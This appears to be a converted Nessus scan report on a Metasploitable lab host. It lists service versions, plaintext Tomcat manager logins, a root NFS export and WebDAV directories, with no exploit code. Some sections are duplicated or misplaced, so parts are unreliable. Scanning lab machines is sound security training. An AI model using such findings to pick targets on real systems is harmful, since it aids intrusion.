It appears that TLSv1 or newer is supported on the server. However, the Fallback SCSV mechanism is not supported, allowing connections to be "rolled back" to SSLv3.

#### 42057 - Web Server Allows Password Auto-Completion

## Synopsis

The 'autocomplete' attribute is not disabled on password fields.

## Description

The remote web server contains at least one HTML form field that has an input of type 'password' where 'autocomplete' is not set to 'off'.

While this does not represent a risk to this web server per se, it does mean that users who use the affected forms may have their credentials saved in their browsers, which could in turn lead to a loss of confidentiality if any of them use a shared host or if their machine is compromised at some point.

#### Solution

Add the attribute 'autocomplete=off' to these fields to prevent browsers from caching credentials.

## 26194 - Web Server Transmits Cleartext Credentials

## Synopsis

The remote web server might transmit credentials in cleartext.

## Description

The remote web server contains several HTML form fields containing an input of type 'password' which transmit their information to a remote web server in cleartext.

An attacker eavesdropping the traffic between web browser and server may obtain logins and passwords of valid users.

#### Solution

Make sure that every sensitive form transmits content over HTTPS.

#### Risk Factor

Low

## CVSS v2.0 Base Score

## 34850 - Web Server Uses Basic Authentication Without HTTPS

## Synopsis

The remote web server seems to transmit credentials in cleartext.

## Description

The remote web server contains web pages that are protected by 'Basic' authentication over cleartext.

An attacker eavesdropping the traffic might obtain logins and passwords of valid users.

#### Solution

Make sure that HTTP authentication is transmitted over HTTPS.

#### Risk Factor

Low

#### CVSS v2.0 Base Score

2.6 (CVSS2#AV:N/AC:H/Au:N/C:P/I:N/A:N)

## Plugin Output

#### tcp/8180/www

```
The following web pages use Basic Authentication over an unencrypted channel:

/host-manager/html:/ realm="Tomcat Host Manager Application"
/manager/html:/ realm="Tomcat Manager Application"
/manager/status:/ realm="Tomcat Manager Application"
```

#### 10407 - X Server Detection

## Synopsis

An X11 server is listening on the remote host

## Description

The remote host is running an X11 server. X11 is a client-server protocol that can be used to display graphical applications running on a given host on a remote client.

Since the X11 traffic is not ciphered, it is possible for an attacker to eavesdrop on the connection.

### Solution

Restrict access to this port. If the X11 client/server facility is not used, disable TCP support in X11 entirely (nolisten tcp).

Risk Factor

Low

CVSS v2.0 Base Score

2.6 (CVSS2#AV:N/AC:H/Au:N/C:P/I:N/A:N)

## 21186 - AJP Connector Detection

## Synopsis

There is an AJP connector listening on the remote host.

## Description

The remote host is running an AJP (Apache JServ Protocol) connector, a service by which a standalone web server such as Apache communicates over TCP with a Java servlet container such as Tomcat.

#### See Also

# 18261 - Apache Banner Linux Distribution Disclosure

## Synopsis

The name of the Linux distribution running on the remote host was found in the banner of the web server.

## Description

Nessus was able to extract the banner of the Apache web server and determine which Linux distribution the remote host is running.

#### Solution

If you do not wish to display this information, edit 'httpd.conf' and set the directive 'ServerTokens Prod' and restart Apache.

Risk Factor

## 47830 - CGI Generic Injectable Parameter

#### Synopsis

Some CGIs are candidate for extended injection tests.

## Description

Nessus was able to to inject innocuous strings into CGI parameters and read them back in the HTTP response.

The affected parameters are candidates for extended injection tests like cross-site scripting attacks.

This is not a weakness per se, the main purpose of this test is to speed up other scripts. The results may be useful for a human pen-tester.

## 33817 - CGI Generic Tests Load Estimation (all tests)

## Synopsis

Load estimation for web application tests.

## Description

This script computes the maximum number of requests that would be done by the generic web tests, depending on miscellaneous options. It does not perform any test by itself.

The results can be used to estimate the duration of these tests, or the complexity of additional manual tests

Note that the script does not try to compute this duration based on external factors such as the network and web servers loads.

## 10028 - DNS Server BIND version Directive Remote Version Detection

## Synopsis

It is possible to obtain the version number of the remote DNS server.

## Description

The remote host is running BIND or another DNS server that reports its version number when it receives a special request for the text 'version.bind' in the domain 'chaos'.

This version is not necessarily accurate and could even be forged, as some DNS servers send the information based on a configuration file.

### Solution

It is possible to hide the version number of BIND by using the 'version' directive in the 'options' section in named.conf.

Risk Factor

None

### 10092 - FTP Server Detection

### **Synopsis**

An FTP server is listening on a remote port.

### Description

It is possible to obtain the banner of the remote FTP server by connecting to a remote port.

### Solution

n/a

### Risk Factor

None

### References

XREF IAVT:0001-T-0030 XREF IAVT:0001-T-0943

### Plugin Information

Published: 1999/10/12, Modified: 2023/08/17

### Plugin Output

### tcp/21/ftp

```
The remote FTP banner is:
220 (vsFTPd 2.3.4)
```

```

### 43111 - HTTP Methods Allowed (per directory)

### Synopsis

This plugin determines which HTTP methods are allowed on various CGI directories.

### Description

By calling the OPTIONS method, it is possible to determine which HTTP methods are allowed on each directory.

The following HTTP methods are considered insecure:

PUT, DELETE, CONNECT, TRACE, HEAD

Many frameworks and languages treat 'HEAD' as a 'GET' request, albeit one without any body in the response. If a security constraint was set on 'GET' requests such that only 'authenticatedUsers' could access GET requests for a particular servlet or resource, it would be bypassed for the 'HEAD' version. This allowed unauthorized blind submission of any privileged GET request.

As this list may be incomplete, the plugin also tests - if 'Thorough tests' are enabled or 'Enable web applications tests' is set to 'yes'

in the scan policy - various known HTTP methods on each directory and considers them as unsupported if it receives a response code of 400, 403, 405, or 501.

Note that the plugin output is only informational and does not necessarily indicate the presence of any security vulnerabilities.

### 50345 - Missing or Permissive X-Frame-Options HTTP Response Header

### Synopsis

The remote web server does not take steps to mitigate a class of web application vulnerabilities.

### Description

The remote web server in some responses sets a permissive X-Frame-Options response header or does not set one at all.

The X-Frame-Options header has been proposed by Microsoft as a way to mitigate clickjacking attacks and is currently supported by all major browser vendors

### See Also

https://en.wikipedia.org/wiki/Clickjacking

http://www.nessus.org/u?399b1f56

### Solution

Set a properly configured X-Frame-Options header for all requested resources.

### Risk Factor

None

### Plugin Information

Published: 2010/10/26, Modified: 2021/01/19

### Plugin Output

### tcp/80/www

### 10719 - MySQL Server Detection

### Synopsis

A database server is listening on the remote port.

### Description

The remote host is running MySQL, an open source database server.

Solution

n/a

Risk Factor

None

References

XREF IAVT:0001-T-0802

Plugin Information

Published: 2001/08/13, Modified: 2022/10/12

### Plugin Output

### tcp/3306/mysql

```
Version: 5.0.51a-3ubuntu5
Protocol: 10
Server Status: SERVER_STATUS_AUTOCOMMIT
Server Capabilities:
    CLIENT_LONG_FLAG (Get all column flags)
    CLIENT_CONNECT_WITH_DB (One can specify db on connect)
    CLIENT_COMPRESS (Can use compression protocol)
    CLIENT_PROTOCOL_41 (New 4.1 protocol)
    CLIENT_SSL (Switch to SSL after handshake)
    CLIENT_TRANSACTIONS (Client knows about transactions)
    CLIENT_SECURE_CONNECTION (New 4.1 authentication)
```

### 10437 - NFS Share Export List

### **Synopsis**

The remote NFS server exports a list of shares.

### Description

This plugin retrieves the list of NFS exported shares.

### See Also

http://www.tldp.org/HOWTO/NFS-HOWTO/security.html

### Solution

Ensure each share is intended to be exported.

### Risk Factor

None

### Plugin Information

Published: 2000/06/07, Modified: 2019/10/04

### Plugin Output

tcp/2049/rpc-nfs

```
Here is the export list of 192.168.1.4 :  /\ *
```

### Synopsis

It is possible to determine which TCP ports are open.

### Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

### Solution

Protect your target with an IP filter.

### Risk Factor

None

### Plugin Information

Published: 2009/02/04, Modified: 2025/07/14

### Plugin Output

### tcp/21/ftp

Port 21/tcp was found to be open

### Synopsis

It is possible to determine which TCP ports are open.

### Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

Plugin Output

tcp/8180/www

Port 8180/tcp was found to be open

# Synopsis

It is possible to determine which TCP ports are open.

## Description

This plugin is a SYN 'half-open' port scanner. It shall be reasonably quick even against a firewalled target.

Note that SYN scans are less intrusive than TCP (full connect) scans against broken services, but they might cause problems for less robust firewalls and also leave unclosed connections on the remote target, if the network is loaded.

#### Solution

Protect your target with an IP filter.

#### Risk Factor

None

# 209654 - OS Fingerprints Detected

## **Synopsis**

Multiple OS fingerprints were detected.

## Description

Using a combination of remote probes (TCP/IP, SMB, HTTP, NTP, SNMP, etc), it was possible to gather one or more fingerprints from the remote system. While the highest-confidence result was reported in plugin 11936, "OS Identification", the complete set of fingerprints detected are reported here.

# **40665 - Protected Web Page Detection**

## Synopsis

Some web pages require authentication.

## Description

The remote web server requires HTTP authentication for the following pages. Several authentication schemes are available :

- Basic is the simplest, but the credentials are sent in cleartext.
- NTLM provides an SSO in a Microsoft environment, but it cannot be used on both the proxy and the web server. It is also weaker than Digest.
- Digest is a cryptographically strong scheme. Credentials are never sent in cleartext, although they may still be cracked by a dictionary attack.

# 10881 - SSH Protocol Versions Supported

## **Synopsis**

A SSH server is running on the remote host.

# Description

This plugin determines the versions of the SSH protocol supported by the remote SSH daemon.

#### Solution

n/a

#### Risk Factor

None

# Plugin Information

Published: 2002/03/06, Modified: 2024/07/24

## Plugin Output

## tcp/22/ssh

The remote SSH daemon supports the following versions of the SSH protocol :

- 1.99
- 2.0

# 153588 - SSH SHA-1 HMAC Algorithms Enabled

## Synopsis

The remote SSH server is configured to enable SHA-1 HMAC algorithms.

## Description

The remote SSH server is configured to enable SHA-1 HMAC algorithms.

Although NIST has formally deprecated use of SHA-1 for digital signatures, SHA-1 is still considered secure for HMAC as the security of HMAC does not rely on the underlying hash function being resistant to collisions.

Note that this plugin only checks for the options of the remote SSH server.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2021/09/23, Modified: 2022/04/05

#### Plugin Output

#### tcp/22/ssh

```
The following client-to-server SHA-1 Hash-based Message Authentication Code (HMAC) algorithms are supported :
```

hmac-sha1 hmac-sha1-96

The following server-to-client SHA-1 Hash-based Message Authentication Code (HMAC) algorithms are supported:

hmac-sha1 hmac-sha1-96

# 10267 - SSH Server Type and Version Information

SSH supported authentication : publickey, password

**Synopsis** An SSH server is listening on this port. Description It is possible to obtain information about the remote SSH server by sending an empty authentication request. Solution n/a Risk Factor None References **XREF** IAVT:0001-T-0933 Plugin Information Published: 1999/10/12, Modified: 2024/07/24 Plugin Output tcp/22/ssh SSH version : SSH-2.0-OpenSSH\_4.7p1 Debian-8ubuntu1

# 56984 - SSL / TLS Versions Supported

# 45410 - SSL Certificate 'commonName' Mismatch

## Synopsis

The 'commonName' (CN) attribute in the SSL certificate does not match the hostname.

## Description

The service running on the remote host presents an SSL certificate for which the 'commonName' (CN) attribute does not match the hostname on which the service listens.

#### Solution

If the machine has several names, make sure that users connect to the service through the DNS hostname that matches the common name in the certificate.

Risk Factor

None

## Plugin Information

# 70544 - SSL Cipher Block Chaining Cipher Suites Supported

#### Synopsis

The remote service supports the use of SSL Cipher Block Chaining ciphers, which combine previous blocks with subsequent ones.

#### Description

The remote host supports the use of SSL ciphers that operate in Cipher Block Chaining (CBC) mode. These cipher suites offer additional security over Electronic Codebook (ECB) mode, but have the potential to leak information if used improperly.

# 57041 - SSL Perfect Forward Secrecy Cipher Suites Supported

#### Synopsis

The remote service supports the use of SSL Perfect Forward Secrecy ciphers, which maintain confidentiality even if the key is stolen.

#### Description

The remote host supports the use of SSL ciphers that offer Perfect Forward Secrecy (PFS) encryption. These cipher suites ensure that recorded SSL traffic cannot be broken at a future date if the server's private key is compromised.

#### See Also

https://www.openssl.org/docs/manmaster/man1/ciphers.html https://en.wikipedia.org/wiki/Diffie-Hellman\_key\_exchange https://en.wikipedia.org/wiki/Perfect\_forward\_secrecy

# 51891 - SSL Session Resume Supported

# Synopsis

The remote host allows resuming SSL sessions.

# Description

This script detects whether a host allows resuming SSL sessions by performing a full SSL handshake to receive a session ID, and then reconnecting with the previously used session ID. If the server accepts the session ID in the second connection, the server maintains a cache of sessions that can be resumed.

# 156899 - SSL/TLS Recommended Cipher Suites

#### Synopsis

The remote host advertises discouraged SSL/TLS ciphers.

# Description

The remote host has open SSL/TLS ports which advertise discouraged cipher suites. It is recommended to only enable support for the following cipher suites:

#### TLSv1.3:

- 0x13,0x01 TLS13\_AES\_128\_GCM\_SHA256
- 0x13,0x02 TLS13\_AES\_256\_GCM\_SHA384
- 0x13,0x03 TLS13 CHACHA20 POLY1305 SHA256

#### TLSv1.2:

- 0xC0,0x2B ECDHE-ECDSA-AES128-GCM-SHA256
- 0xC0,0x2F ECDHE-RSA-AES128-GCM-SHA256
- 0xC0,0x2C ECDHE-ECDSA-AES256-GCM-SHA384
- 0xC0,0x30 ECDHE-RSA-AES256-GCM-SHA384
- 0xCC,0xA9 ECDHE-ECDSA-CHACHA20-POLY1305
- 0xCC,0xA8 ECDHE-RSA-CHACHA20-POLY1305

This is the recommended configuration for the vast majority of services, as it is highly secure and compatible with nearly every client released in the last five (or more) years.

# 156899 - SSL/TLS Recommended Cipher Suites

# Synopsis

The remote host advertises discouraged SSL/TLS ciphers.

# Description

The remote host has open SSL/TLS ports which advertise discouraged cipher suites. It is recommended to only enable support for the following cipher suites:

#### TLSv1.3:

- 0x13,0x01 TLS13 AES 128 GCM SHA256
- 0x13,0x02 TLS13\_AES\_256\_GCM\_SHA384
- 0x13,0x03 TLS13\_CHACHA20\_POLY1305\_SHA256

#### TLSv1.2:

- 0xC0,0x2B ECDHE-ECDSA-AES128-GCM-SHA256
- 0xC0,0x2F ECDHE-RSA-AES128-GCM-SHA256
- 0xC0,0x2C ECDHE-ECDSA-AES256-GCM-SHA384
- 0xC0,0x30 ECDHE-RSA-AES256-GCM-SHA384
- 0xCC,0xA9 ECDHE-ECDSA-CHACHA20-POLY1305
- 0xCC,0xA8 ECDHE-RSA-CHACHA20-POLY1305

This is the recommended configuration for the vast majority of services, as it is highly secure and compatible with nearly every client released in the last five (or more) years.

# 104887 - Samba Version

# Synopsis

It was possible to obtain the samba version from the remote operating system.

# Description

Nessus was able to obtain the samba version from the remote operating by sending an authentication request to port 139 or 445. Note that this plugin requires SMB1 to be enabled on the host.

Solution

n/a

Risk Factor

None

Plugin Information

Published: 2017/11/30, Modified: 2019/11/22

Plugin Output

tcp/445/cifs

The remote Samba Version is : Samba 3.0.20-Debian

#### 96982 - Server Message Block (SMB) Protocol Version 1 Enabled (uncredentialed check)

#### Synopsis

The remote Windows host supports the SMBv1 protocol.

#### Description

The remote Windows host supports Server Message Block Protocol version 1 (SMBv1). Microsoft recommends that users discontinue the use of SMBv1 due to the lack of security features that were included in later SMB versions. Additionally, the Shadow Brokers group reportedly has an exploit that affects SMB; however, it is unknown if the exploit affects SMBv1 or another version. In response to this, US-CERT recommends that users disable SMBv1 per SMB best practices to mitigate these potential issues.

#### See Also

https://blogs.technet.microsoft.com/filecab/2016/09/16/stop-using-smb1/

https://support.microsoft.com/en-us/help/2696547/how-to-detect-enable-and-disable-smbv1-smbv2-and-smbv3-in-windows-and

http://www.nessus.org/u?8dcab5e4

http://www.nessus.org/u?234f8ef8

http://www.nessus.org/u?4c7e0cf3

#### Solution

Disable SMBv1 according to the vendor instructions in Microsoft KB2696547. Additionally, block SMB directly by blocking TCP port 445 on all network boundary devices. For SMB over the NetBIOS API, block TCP ports 137 / 139 and UDP ports 137 / 138 on all network boundary devices.

Nessus was able to identify the following archive file on the remote web server :

ZIP Archive :
   http://192.168.1.4:8180/tomcat-docs/appdev/sample/sample.war
```

# 100669 - Web Application Cookies Are Expired

## Synopsis

HTTP cookies have an 'Expires' attribute that is set with a past date or time.

# Description

The remote web application sets various cookies throughout a user's unauthenticated and authenticated session. However, Nessus has detected that one or more of the cookies have an 'Expires' attribute that is set with a past date or time, meaning that these cookies will be removed by the browser.

#### See Also

https://tools.ietf.org/html/rfc6265

#### Solution

Each cookie should be carefully reviewed to determine if it contains sensitive data or is relied upon for a security decision.

If needed, set an expiration date in the future so the cookie will persist or remove the Expires cookie attribute altogether to convert the cookie to a session cookie.

#### Risk Factor

None

# 85601 - Web Application Cookies Not Marked HttpOnly

# Synopsis

HTTP session cookies might be vulnerable to cross-site scripting attacks.

# Description

The remote web application sets various cookies throughout a user's unauthenticated and authenticated session. However, one or more of those cookies are not marked 'HttpOnly', meaning that a malicious client-side script, such as JavaScript, could read them. The HttpOnly flag is a security mechanism to protect against cross-site scripting attacks, which was proposed by Microsoft and initially implemented in Internet Explorer. All modern browsers now support it.

Note that this plugin detects all general cookies missing the HttpOnly cookie flag, whereas plugin 48432 (Web Application Session Cookies Not Marked HttpOnly) will only detect session cookies from an authenticated session missing the HttpOnly cookie flag.

#### See Also

https://www.owasp.org/index.php/HttpOnly

#### Solution

Each cookie should be carefully reviewed to determine if it contains sensitive data or is relied upon for a security decision.

If possible, add the 'HttpOnly' attribute to all session cookies and any cookies containing sensitive data.

#### Risk Factor

None

# Description

The remote web application sets various cookies throughout a user's unauthenticated and authenticated session. However, one or more of those cookies are not marked 'HttpOnly', meaning that a malicious client-side script, such as JavaScript, could read them. The HttpOnly flag is a security mechanism to protect against cross-site scripting attacks, which was proposed by Microsoft and initially implemented in Internet Explorer. All modern browsers now support it.

Note that this plugin detects all general cookies missing the HttpOnly cookie flag, whereas plugin 48432 (Web Application Session Cookies Not Marked HttpOnly) will only detect session cookies from an authenticated session missing the HttpOnly cookie flag.

#### See Also

https://www.owasp.org/index.php/HttpOnly

#### Solution

Each cookie should be carefully reviewed to determine if it contains sensitive data or is relied upon for a security decision.

If possible, add the 'HttpOnly' attribute to all session cookies and any cookies containing sensitive data.

#### Risk Factor

None

# 85602 - Web Application Cookies Not Marked Secure

## **Synopsis**

HTTP session cookies might be transmitted in cleartext.

# Description

The remote web application sets various cookies throughout a user's unauthenticated and authenticated session. However, there are instances where the application is running over unencrypted HTTP or the cookies are not marked 'secure', meaning the browser could send them back over an unencrypted link under certain circumstances. As a result, it may be possible for a remote attacker to intercept these cookies.

Note that this plugin detects all general cookies missing the 'secure'

cookie flag, whereas plugin 49218 (Web Application Session Cookies Not Marked Secure) will only detect session cookies from an authenticated session missing the secure cookie flag.

#### See Also

https://www.owasp.org/index.php/SecureFlag

#### Solution

Each cookie should be carefully reviewed to determine if it contains sensitive data or is relied upon for a security decision.

If possible, ensure all communication occurs over an encrypted channel and add the 'secure' attribute to all session cookies or any cookies containing sensitive data.

## Risk Factor

None

# 40773 - Web Application Potentially Sensitive CGI Parameter Detection

# Synopsis

An application was found that may use CGI parameters to control sensitive information.

# Description

According to their names, some CGI parameters may control sensitive data (e.g., ID, privileges, commands, prices, credit card data, etc.). In the course of using an application, these variables may disclose sensitive data or be prone to tampering that could result in privilege escalation. These parameters should be examined to determine what type of data is controlled and if it poses a security risk.

- \*\* This plugin only reports information that may be useful for auditors
- \*\* or pen-testers, not a real flaw.

#### Solution

Ensure sensitive data is not disclosed by CGI parameters. In addition, do not use CGI parameters to control access to resources or privileges.

Risk Factor

None

# Plugin Information

Published: 2009/08/25, Modified: 2021/01/19

#### Plugin Output

## tcp/80/www

Potentially sensitive parameters for CGI /dvwa/login.php:

# 10662 - Web mirroring

# Synopsis

Nessus can crawl the remote website.

# Description

This plugin makes a mirror of the remote website(s) and extracts the list of CGIs that are used by the remote host.

It is suggested that you change the number of pages to mirror in the 'Options' section of the client.

Solution

n/a

Risk Factor

None

# 11424 - WebDAV Detection

# **Synopsis**

The remote server is running with WebDAV enabled.

# Description

WebDAV is an industry standard extension to the HTTP specification.

It adds a capability for authorized users to remotely add and manage the content of a web server.

If you do not use this extension, you should disable it.

## Solution

http://support.microsoft.com/default.aspx?kbid=241520

Risk Factor

None

Plugin Output

tcp/80/www

# 24004 - WebDAV Directory Enumeration

# Synopsis

Several directories on the remote host are DAV-enabled.

# Description

WebDAV is an industry standard extension to the HTTP specification.

It adds a capability for authorized users to remotely add and manage the content of a web server.

If you do not use this extension, you should disable it.

#### Solution

Disable DAV support if you do not use it.

#### Risk Factor

None

# Plugin Information

Published: 2007/01/11, Modified: 2011/03/14

# Plugin Output

## tcp/80/www

The following directories are DAV enabled:

- /dav/uwxzKVsW.htm/
- /dav/aTZaiSVB.htm/L8NitUfb.htm/
- /dav/aTZaiSVB.htm/
- /dav/

# 10150 - Windows NetBIOS / SMB Remote Host Information Disclosure

# Synopsis

It was possible to obtain the network name of the remote host.

# Description

The remote host is listening on UDP port 137 or TCP port 445, and replies to NetBIOS nbtscan or SMB requests.

Note that this plugin gathers information to be used in other plugins, but does not itself generate a report.

## Solution

n/a

## Risk Factor

None

# Plugin Information

Published: 1999/10/12, Modified: 2021/02/10

## Plugin Output

## udp/137/netbios-ns

```
The following 7 NetBIOS names have been gathered:

METASPLOITABLE = Computer name
METASPLOITABLE = Messenger Service
METASPLOITABLE = File Server Service
__MSBROWSE_ = Master Browser
WORKGROUP = Workgroup / Domain name
WORKGROUP = Master Browser
WORKGROUP = Browser Service Elections

This SMB server seems to be a Samba server - its MAC address is NULL.
```

# 17219 - phpMyAdmin Detection

# **Synopsis**

The remote web server hosts a database management application written in PHP.

# Description

The remote host is running phpMyAdmin, a web-based MySQL administration tool written in PHP.
